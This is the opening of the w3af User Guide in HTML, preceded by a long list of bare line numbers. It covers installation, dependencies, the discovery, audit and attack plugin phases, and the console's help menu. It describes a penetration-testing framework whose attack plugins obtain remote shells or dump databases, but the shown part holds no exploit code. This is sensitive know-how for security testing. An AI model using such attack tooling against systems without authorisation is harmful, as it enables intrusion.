1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 1125 1126 1127 1128 1129 1130 1131 1132 1133 1134 1135 1136 1137 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 1151 1152 1153 1154 1155 1156 1157 1158 1159 1160 1161 1162 1163 1164 1165 1166 1167 1168 1169 1170 1171 1172 1173 1174 1175 1176 1177 1178 1179 1180 1181 1182 1183 1184 1185 1186 1187 1188 1189 1190 1191 1192 1193 1194 1195 1196 1197 1198 1199 1200 1201 1202 1203 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 1215 1216 1217 1218 1219 1220 1221 1222 1223 1224 1225 1226 1227 1228 1229 1230 1231 1232 1233 1234 1235 1236 1237 1238 1239 1240 1241 1242 1243 1244 1245 1246 1247 1248 1249 1250 1251 1252 1253 1254 1255 1256 1257 1258 1259 1260 1261 1262 1263 1264 1265 1266 1267 1268 1269 1270 1271 1272 1273 1274 1275 1276 1277 1278 1279 1280 1281 1282 1283 1284 1285 1286 1287 1288 1289 1290 1291 1292 1293 1294 1295 1296 1297 1298 1299 1300 1301 1302 1303 1304 1305 1306 1307 1308 1309 1310 1311 1312 1313 1314 1315 1316 1317 1318 1319 1320 1321 1322 1323 1324 1325 1326 1327 1328 1329 1330 1331 1332 1333 1334 1335 1336 1337 1338 1339 1340 1341 1342 1343 1344 1345 1346 1347 1348 1349 1350 1351 1352 1353 1354 1355 1356 1357 1358 1359 1360 1361 1362 1363 1364 1365 1366 1367 1368 1369 1370 1371 1372 1373 1374 1375 1376 1377 1378 1379 1380 1381 1382 1383 1384 1385 1386 1387 1388 1389 1390 1391 1392 1393 1394 1395 1396 1397 1398 1399 1400 1401 1402 1403 1404 1405 1406 1407 1408 1409 1410 1411 1412 1413 1414 1415 1416 1417 1418 1419 1420 1421 1422 1423 1424 1425 1426 1427 1428 1429 1430 1431 1432 1433 1434 1435 1436 1437 1438 1439 1440 1441 1442 1443 1444 1445 1446 1447 1448 1449 1450 1451 1452 1453 1454 1455 1456 1457 1458 1459 1460 1461 1462 1463 1464 1465 1466 1467 1468 1469 1470 1471 1472 1473 1474 1475 1476 1477 1478 1479 1480 1481 1482 1483 1484 1485 1486 1487 1488 1489 1490 1491 1492 1493 1494 1495 1496 1497 1498 1499 1500 1501 1502 1503 1504 1505 1506 1507 1508 1509 1510 1511 1512 1513 1514 1515 1516 1517 1518 1519 1520 1521 1522 1523 1524 1525 1526 1527 1528 1529 1530 1531 1532 1533 1534 1535 1536 1537 1538 1539 1540 1541 1542 1543 1544 1545 1546 1547 1548 1549 1550 1551 1552 1553 1554 1555 1556 1557 1558 1559 1560 1561 1562 1563 1564 1565 1566 1567 1568 1569 1570 1571 1572 1573 1574 1575 1576 1577 1578 1579 1580 1581 1582 1583 1584 1585 1586 1587 1588 1589 1590 1591 1592 1593 1594 1595 1596 1597 1598 1599 1600 1601 1602 1603 1604 1605 1606 1607 1608 1609 1610 1611 1612 1613 1614 1615 1616 1617 1618 1619 1620 1621 1622 1623 1624 1625 1626 1627 1628 1629 1630 1631 1632 1633 1634 1635 1636 1637 1638 1639 1640 1641 1642 1643 1644 1645 1646 1647 1648 1649 1650 1651 1652 1653 1654 1655 1656 1657 1658 1659 1660 1661 1662 1663 1664 1665 1666 1667 1668 1669 1670 1671 1672 1673 1674 1675 1676 1677 1678 1679 1680 1681 1682 1683 1684 1685 1686 1687 1688 1689 1690 1691 1692 1693 1694 1695 1696 1697 1698 1699 1700 1701 1702 1703 1704 1705 1706 1707 1708 1709 1710 1711 1712 1713 1714 1715 1716 1717 1718 1719 1720 1721 1722 1723 1724 1725 1726 1727 1728 1729 1730 1731 1732 1733 1734 1735 1736 1737 1738 1739 1740 1741 1742 1743 1744 1745 1746 1747 1748 1749 1750 1751 1752 1753 1754 1755 1756 1757 1758 1759 1760 1761 1762 1763 1764 1765 1766 1767 1768 1769 1770 1771 1772 1773 1774 1775 1776 1777 1778 1779 1780 1781 1782 1783 1784 1785 1786 1787 1788 1789 1790 1791 1792 1793 1794 1795 1796 1797 1798 1799 1800 1801 1802 1803 1804 1805 1806 1807 1808 1809 1810 1811 1812 1813 1814 1815 1816 1817 1818 1819 1820 1821 1822 1823 1824 1825 1826 1827 1828 1829 1830 1831 1832 1833 1834 1835 1836 1837 1838 1839 1840 1841 1842 1843 1844 1845 1846 1847 1848 1849 1850 1851 1852 1853 1854 1855 1856 1857 1858 1859 1860 1861 1862 1863 1864 1865 1866 1867 1868 1869 1870 1871 1872 1873 1874 1875 1876 1877 1878 1879 1880 1881 1882 1883 1884 1885 1886 1887 1888 1889 1890 1891 1892 1893 1894 1895 1896 1897 1898 1899 1900 1901 1902 1903 1904 1905 1906 1907 1908 1909 1910 1911 1912 1913 1914 1915 1916 1917 1918 1919 1920 1921 1922 1923 1924 1925 1926 1927 1928 1929 1930 1931 1932 1933 1934 1935 1936 1937 1938 1939 1940 1941 1942 1943 1944 1945 1946 1947 1948 1949 1950 1951 1952 1953 1954 1955 1956 1957 1958 1959 1960 1961 1962 1963 1964 1965 1966 1967 1968 1969 1970 1971 1972 1973 1974 1975 1976 1977 1978 1979 1980 1981 1982 1983 1984 1985 1986 1987 1988 1989 1990 1991 1992 1993 1994 1995 1996 1997 1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013 2014 2015 2016 2017 2018 2019 2020 2021 2022 2023 2024 2025 2026 2027 2028 2029 2030 2031 2032 2033 2034 2035 2036 2037 2038 2039 2040 2041 2042 2043 2044 2045 2046 2047 2048 2049 2050 2051 2052 2053 2054 2055 2056 2057 2058 2059 2060 2061 2062 2063 2064 2065 2066 2067 2068 2069 2070 2071 2072 2073 2074 2075 2076 2077 2078 2079 2080 2081 2082 2083 2084 2085 2086 2087 2088 2089 2090 2091 2092 2093 2094 2095 2096 2097 2098 2099 2100 2101 2102 2103 2104 2105 2106 2107 2108 2109 2110 2111 2112 2113 2114 2115 2116 2117 2118 2119 2120 2121 2122 2123 2124 2125 2126 2127 2128 2129 2130 2131 2132 2133 2134 2135 2136 2137 2138 2139 2140 2141 2142 2143 2144 2145 2146 2147 2148 2149 2150 2151 2152 2153 2154 2155 2156 2157 2158 2159 2160 2161 2162 2163 2164 2165 2166 2167 2168 2169 2170 2171 2172 2173 2174 2175 2176 2177 2178 2179 2180 2181 2182 2183 2184 2185 2186 2187 2188 2189 2190 2191 2192 2193 2194 2195 2196 2197 2198 2199 2200 2201 2202 2203 2204 2205 2206 2207 2208 2209 2210 2211 2212 2213 2214 2215 2216 2217 2218 2219 2220 2221 2222 2223 2224 2225 2226 2227 2228 2229 2230 2231 2232 2233 2234 2235 2236 2237 2238 2239 2240 2241 2242 2243 2244 2245 2246 2247 2248 2249 2250 2251 2252 2253 2254 2255 2256 2257 2258 2259 2260 2261 2262 2263 2264 2265 2266 2267 2268 2269 2270 2271 2272 2273 2274 2275 2276 2277 2278 2279 2280 2281 2282 2283 2284 2285 2286 2287 2288 2289 2290 2291 2292 2293 2294 2295 2296 2297 2298 2299 2300 2301 2302 2303 2304 2305 2306 2307 2308 2309 2310 2311 2312 2313 2314 2315 2316 2317 2318 2319 2320 2321 2322 2323 2324 2325 2326 2327 2328 2329 2330 2331 2332 2333 2334 2335 2336 2337 2338 2339 2340 2341 2342 2343 2344 2345 2346 2347 2348 2349 2350 2351 2352 2353 2354 2355 2356 2357 2358 2359 2360 2361 2362 2363 2364 2365 2366 2367 2368 2369 2370 2371 2372 2373 2374 2375 2376 2377 2378 2379 2380 2381 2382 2383 2384 2385 2386 2387 2388 2389 2390 2391 2392 2393 2394 2395 2396 2397 2398 2399 2400 2401 2402 2403 2404 2405 2406 2407 2408 2409 2410 2411 2412 2413 2414 2415 2416 2417 2418 2419 2420 2421 2422 2423 2424 2425 2426 2427 2428 2429 2430 2431 2432 2433 2434 2435 2436 2437 2438 2439 2440 2441 2442 2443 2444 2445 2446 2447 2448 2449 2450 2451 2452 2453 2454 2455 2456 2457 2458 2459 2460 2461 2462 2463 2464 2465 2466 2467 2468 2469 2470 2471 2472 2473 2474 2475 2476 2477 2478 2479 2480 2481 2482 2483 2484 2485 2486 2487 2488 2489 2490 2491 2492 2493 2494 2495 2496 2497 2498 2499 2500 2501 2502 2503 2504 2505 2506 2507 2508 2509 2510 2511 2512 2513 2514 2515 2516 2517 2518 2519 2520 2521 2522 2523 2524 2525 2526 2527 2528 2529 2530 2531 2532 2533 2534 2535 2536 2537 2538 2539 2540 2541 2542 2543 2544 2545 2546 2547 2548 2549 2550 2551 2552 2553 2554 2555 2556 2557 2558 2559 2560 2561 2562 2563 2564 2565 2566 2567 2568 2569 2570 2571 2572 2573 2574 2575 2576 2577 2578 2579 2580 2581 2582 2583 2584 2585 2586 2587 2588 2589 2590 2591 2592 2593 2594 2595 2596 2597 2598 2599 2600 2601 2602 2603 2604 2605 2606 2607 2608 2609 2610 2611 2612 2613 2614 2615 2616 2617 2618 2619 2620 2621 2622 2623 2624 2625 2626 2627 2628 2629 2630 2631 2632 2633 2634 2635 2636 2637 2638 2639 2640 2641 2642 2643 2644 2645 2646 2647 2648 2649 2650 2651 2652 2653 2654 2655 2656 2657 2658 2659 2660 2661 2662 2663 2664 2665 2666 2667 2668 2669 2670 2671 2672 2673 2674 2675 2676 2677 2678 2679 2680 2681 2682 2683 2684 2685 2686 2687 2688 2689 2690 2691 2692 2693 2694 2695 2696 2697 2698 2699 2700 2701 2702 2703 2704 2705 2706
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=utf-8">
<TITLE></TITLE>
<META NAME="GENERATOR" CONTENT="OpenOffice.org 2.4 (Unix)">
<META NAME="CREATED" CONTENT="20070514;16454200">
<META NAME="CHANGEDBY" CONTENT="Andres Riancho">
<META NAME="CHANGED" CONTENT="20100330;19300400">
<STYLE TYPE="text/css">
<!--
@page { size: 8.5in 11in; margin: 0.79in }
P { margin-bottom: 0.08in }
H2 { margin-bottom: 0.08in }
H2.western { font-family: "Bitstream Vera Sans", sans-serif; font-size: 14pt; font-style: italic }
H2.cjk { font-family: "Bitstream Vera Sans"; font-size: 14pt; font-style: italic }
H2.ctl { font-family: "Bitstream Vera Sans"; font-size: 14pt; font-style: italic }
H3 { margin-bottom: 0.08in }
H3.western { font-family: "Bitstream Vera Sans", sans-serif }
H3.cjk { font-family: "Bitstream Vera Sans" }
H3.ctl { font-family: "Bitstream Vera Sans" }
-->
</STYLE>
</HEAD>
<BODY LANG="en-US" DIR="LTR">
<P ALIGN=CENTER STYLE="margin-top: 0.17in; page-break-after: avoid"><BR><BR>
</P>
<P ALIGN=CENTER STYLE="margin-top: 0.17in; page-break-after: avoid"><BR><BR>
</P>
<P ALIGN=CENTER STYLE="margin-top: 0.17in; page-break-after: avoid"><BR><BR>
</P>
<P ALIGN=CENTER STYLE="margin-top: 0.17in; page-break-after: avoid"><BR><BR>
</P>
<P ALIGN=CENTER STYLE="margin-top: 0.17in; page-break-after: avoid"><BR><BR>
</P>
<P ALIGN=CENTER STYLE="margin-top: 0.17in; page-break-after: avoid"><FONT FACE="Bitstream Vera Sans, sans-serif"><FONT SIZE=4 STYLE="font-size: 16pt"><U><B>w3af
User Guide</B></U></FONT></FONT></P>
<P ALIGN=CENTER STYLE="margin-bottom: 0in; font-style: normal; font-weight: medium; text-decoration: none">
<BR>
</P>
<P ALIGN=CENTER STYLE="margin-bottom: 0in; font-style: normal; font-weight: medium; text-decoration: none">
<BR>
</P>
<P ALIGN=CENTER STYLE="margin-bottom: 0in; font-style: normal; font-weight: medium; text-decoration: none">
<FONT SIZE=2>Document version: <B>1.7</B></FONT></P>
<P ALIGN=CENTER STYLE="margin-bottom: 0in; font-style: normal; font-weight: medium; text-decoration: none">
<FONT SIZE=2>Original author: <B>Andres Riancho</B></FONT></P>
<P ALIGN=CENTER STYLE="margin-bottom: 0in; font-style: normal; font-weight: medium; text-decoration: none">
<BR>
</P>
<P ALIGN=CENTER STYLE="margin-bottom: 0in; font-style: normal; font-weight: medium; text-decoration: none">
<BR>
</P>
<P ALIGN=CENTER STYLE="margin-bottom: 0in; font-style: normal; font-weight: medium; text-decoration: none">
<FONT SIZE=2>Reviewed by: </FONT>
</P>
<P ALIGN=CENTER STYLE="margin-bottom: 0in; font-style: normal; text-decoration: none">
<FONT SIZE=2><B>Mike Harbison</B></FONT></P>
<P ALIGN=CENTER STYLE="margin-bottom: 0in; font-style: normal; text-decoration: none">
<FONT SIZE=2><B>Andy Bach</B></FONT></P>
<P ALIGN=CENTER STYLE="margin-bottom: 0in; font-style: normal; text-decoration: none">
<FONT SIZE=2><B>Chris Teodorski</B></FONT></P>
<P ALIGN=CENTER STYLE="margin-bottom: 0in"><BR>
</P>
<P ALIGN=CENTER STYLE="margin-bottom: 0in"><BR>
</P>
<P ALIGN=CENTER STYLE="margin-bottom: 0in"><BR>
</P>
<P ALIGN=CENTER STYLE="margin-bottom: 0in"><BR>
</P>
<P ALIGN=CENTER STYLE="margin-bottom: 0in"><BR>
</P>
<P ALIGN=CENTER STYLE="margin-bottom: 0in"><BR>
</P>
<P ALIGN=CENTER STYLE="margin-bottom: 0in"><BR>
</P>
<P ALIGN=CENTER STYLE="margin-bottom: 0in"><BR>
</P>
<P ALIGN=CENTER STYLE="margin-bottom: 0in"><BR>
</P>
<P ALIGN=CENTER STYLE="margin-bottom: 0in"><BR>
</P>
<P ALIGN=CENTER STYLE="margin-bottom: 0in"><BR>
</P>
<P ALIGN=CENTER STYLE="margin-bottom: 0in"><BR>
</P>
<P ALIGN=CENTER STYLE="margin-bottom: 0in"><FONT SIZE=2><I><U><B>30
March, 2010</B></U></I></FONT></P>
<P ALIGN=CENTER STYLE="margin-bottom: 0in; page-break-before: always">
<BR>
</P>
<DIV ID="Table of Contents1" DIR="LTR">
<DIV ID="Table of Contents1_Head" DIR="LTR">
<P STYLE="margin-top: 0.17in; page-break-after: avoid"><FONT FACE="Bitstream Vera Sans, sans-serif"><FONT SIZE=4 STYLE="font-size: 16pt"><B>Table
of Contents</B></FONT></FONT></P>
</DIV>
<P STYLE="margin-left: 0.2in; margin-bottom: 0in">Introduction 3</P>
<P STYLE="margin-left: 0.2in; margin-bottom: 0in">Download 3</P>
<P STYLE="margin-left: 0.2in; margin-bottom: 0in">Installation 3</P>
<P STYLE="margin-left: 0.39in; margin-bottom: 0in">Installation
Requirements 3</P>
<P STYLE="margin-left: 0.2in; margin-bottom: 0in">w3af phases 4</P>
<P STYLE="margin-left: 0.2in; margin-bottom: 0in">Running w3af 5</P>
<P STYLE="margin-left: 0.39in; margin-bottom: 0in">Running w3af with
GTK user interface 9</P>
<P STYLE="margin-left: 0.39in; margin-bottom: 0in">Plugins 10</P>
<P STYLE="margin-left: 0.39in; margin-bottom: 0in">Plugin
configuration 11</P>
<P STYLE="margin-left: 0.2in; margin-bottom: 0in">Starting a scan 15</P>
<P STYLE="margin-left: 0.39in; margin-bottom: 0in">A complete
session 16</P>
<P STYLE="margin-left: 0.2in; margin-bottom: 0in">A warning about
discovery 18</P>
<P STYLE="margin-left: 0.39in; margin-bottom: 0in">When everything
else fails... 19</P>
<P STYLE="margin-left: 0.2in; margin-bottom: 0in">w3af scripts 19</P>
<P STYLE="margin-left: 0.2in; margin-bottom: 0in">The Output 22</P>
<P STYLE="margin-left: 0.2in; margin-bottom: 0in">Complex sites 24</P>
<P STYLE="margin-left: 0.2in; margin-bottom: 0in">Exploiting 26</P>
<P STYLE="margin-left: 0.39in; margin-bottom: 0in">Advanced
exploiting techniques 28</P>
<P STYLE="margin-left: 0.39in; margin-bottom: 0in">Virtual daemon 29</P>
<P STYLE="margin-left: 0.39in; margin-bottom: 0in">w3afAgent 33</P>
<P STYLE="margin-left: 0.2in; margin-bottom: 0in">More
information 37</P>
<P STYLE="margin-left: 0.2in; margin-bottom: 0in">Bugs 37</P>
<P STYLE="margin-left: 0.2in; margin-bottom: 0in">Contributors 37</P>
<P STYLE="margin-left: 0.2in; margin-bottom: 0in">Final words 38</P>
</DIV>
<P ALIGN=CENTER STYLE="margin-bottom: 0in"><BR>
</P>
<H2 CLASS="western"></H2>
<H2 CLASS="western" STYLE="page-break-before: always"><A NAME="SECTION00200000000000000000"></A>
Introduction
</H2>
<P ALIGN=JUSTIFY>This document is a user guide for the Web
Application Attack and Audit Framework ( w3af ), its goal is to
provide a basic overview of what the framework is, how it works and
what you can do with it.
</P>
<P ALIGN=JUSTIFY>w3af is a complete environment for auditing and
attacking web applications. This environment provides a solid
platform for auditing and penetration-testing.
</P>
<H2 CLASS="western">Download</H2>
<P STYLE="margin-top: 0.17in"><FONT FACE="Bitstream Vera Sans, sans-serif">The
framework can be downloaded from the project main page: </FONT>
</P>
<P STYLE="margin-left: 0.49in; margin-top: 0.17in"><FONT FACE="Bitstream Vera Sans, sans-serif"><A HREF="http://w3af.sf.net/#download">http://w3af.sf.net/#download</A></FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-top: 0.17in"><FONT FACE="Bitstream Vera Sans, sans-serif">There
are two ways to install w3af: from a release package (w3af setup for
windows and tgz package for Unix based systems) or from SVN. First
time users should use the latest package, while more advanced users
should perform a SVN checkout to get the latest version of the
framework. </FONT>
</P>
<H2 CLASS="western">Installation</H2>
<P ALIGN=JUSTIFY STYLE="background: #ffffff; font-style: normal; text-decoration: none">
<FONT SIZE=3>The framework should work on all platforms supported <SPAN STYLE="background: #ffffff">by
Python.</SPAN> w3af has been teste<SPAN STYLE="background: #ffffff">d
on Linux, Window</SPAN>s XP, Windows Vista and OpenBSD. This user
guide will guide you through the installation on a Linux platform.
installing w3af in a Windows box is straight forward if you use the
available installer which can be downloaded from the official w3af
site.</FONT></P>
<H3 CLASS="western" ALIGN=JUSTIFY STYLE="page-break-after: avoid">Installation
Requirements</H3>
<P>The required packages to run w3af can be divided in two groups:</P>
<UL>
<LI><P>Core requirements:</P>
</UL>
<UL>
<LI><P>Python <B>2.5</B></P>
<LI><P>fpconst-0.7.2</P>
<LI><P>pygoogle</P>
<LI><P>nltk</P>
<LI><P>SOAPpy</P>
<LI><P>pyPdf</P>
<LI><P>Beautiful Soup</P>
<LI><P>Python OpenSSL</P>
<LI><P>json.py</P>
<LI><P>scapy</P>
<P></P>
</UL>
<UL>
<LI VALUE=1><P>Graphical user interface requirements:</P>
</UL>
<UL>
<LI><P>python sqlite3</P>
<LI><P>graphviz</P>
</UL>
<UL>
<LI VALUE=1><P>pygtk 2.0</P>
<LI><P>gtk 2.12</P>
</UL>
<UL>
<P></P>
</UL>
<P ALIGN=JUSTIFY>As you may have guessed, the core requirements are
needed to run w3af with any user interface (console or graphical),
and the graphical user interface requirements are needed only if you
plan to use the GTK+ user interface.</P>
<P ALIGN=JUSTIFY>Some of the requirements are bundled with the
distribution file, in order to make the installation process easier
for the novice user. The bundled requirements can be found inside the
<I>extlib</I> directory. Most of the libraries can be run from<SPAN STYLE="font-style: normal">
that</SPAN> directory, but some others require an installation
process, the installation steps for these libraries are (as root):</P>
<P><BR><BR>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">cd
w3af</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><SPAN STYLE="background: #ffffff">cd
extlib</SPAN></FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">cd
fpconst-0.7.2</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">python
setup.py install</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">cd
..</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">cd
pygoogle</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">python
setup.py install</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">cd
..</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">cd
SOAPpy</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">python
setup.py install</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">cd
..</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">cd
pyPdf</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">python
setup.py install</FONT></P>
<P><BR><BR>
</P>
<H2 CLASS="western"></H2>
<H2 CLASS="western" STYLE="page-break-before: always">w3af phases</H2>
<P><BR><BR>
</P>
<P ALIGN=JUSTIFY>Before running w3af a user must know how the
application is divided and how plugins are going to be executed. The
framework has three types of plugins: discovery , audit and attack.</P>
<P ALIGN=JUSTIFY><I>Discovery plugins</I> have only one
responsibility, finding new URLs, forms, and other “injection
points”. A classic example of a discovery plugin is a web spider.
This plugin takes a URL as input and returns one or more injection
points. When a user enables more than one plugin of this type, they
work in a loop: If plugin A finds a new URL in the first run, the
w3af core will send that URL to plugin B. If plugin B then finds a
new URL, it will be sent to plugin A. This process will go on until
all plugins are run and no more knowledge about the application can
be found using the enabled discovery plugins.</P>
<P ALIGN=JUSTIFY><I>Audit plugins</I> take the injection points found
by discovery plugins and send specially crafted data to all of them
in order to find vulnerabilities. A classic example of an audit
plugin is one that searches for SQL injection vulnerabilities.</P>
<P ALIGN=JUSTIFY><I>Attack plugins </I><SPAN STYLE="font-style: normal">objective
is to exploit vulnerabilities found by audit plugins. They usually
return a shell on the remote server, or a dump of remote tables in
the case of SQL injections exploits.</SPAN></P>
<P STYLE="font-style: normal"><BR><BR>
</P>
<H2 CLASS="western" STYLE="font-style: normal">Running w3af</H2>
<P STYLE="font-style: normal"><BR><BR>
</P>
<P ALIGN=JUSTIFY STYLE="font-style: normal">w3af has two user
interfaces, the console user interface (consoleUI) and the graphical
user interface (gtkUi). This user guide will focus on the consoleUI,
which ismore fully tested and complete than the gtkUi. To fire up the
consoleUI you just have to execute w3af without parameters and you
will get a prompt like this one:</P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace"><B>$</B>
./w3af_console</FONT></P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B></FONT></P>
<P STYLE="margin-left: 0.49in; font-style: normal"><BR><BR>
</P>
<P ALIGN=JUSTIFY STYLE="font-style: normal"><FONT FACE="Bitstream Vera Sans, sans-serif">From
this prompt you will be able to configure the framework, launch scans
and ultimately exploit a vulnerability. At this prompt you can start
typing commands. The first command you have to learn is “help”
(please note that commands are case sensitive):</FONT></P>
<P STYLE="font-style: normal"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B>
help</FONT></P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace">|------------------------------------------------------|
</FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace">|
start | Start the scan. | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace">|
plugins | Enable and configure plugins. | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace">|
exploit | Exploit the vulnerability. | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace">|
profiles | List and use scan profiles. | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace">|------------------------------------------------------|
</FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace">|
http-settings | Configure the http settings of the |</FONT></P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace">|
| framework. | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace">|
misc-settings | Configure w3af misc settings. | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace">|
target | Configure the target URL. | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace">|------------------------------------------------------|
</FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace">|
back | Go to the previous menu. | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace">|
exit | Exit w3af. | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace">|
assert | Check assertion. | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-style: normal"><FONT FACE="Nimbus Mono L, monospace">|------------------------------------------------------|
</FONT>
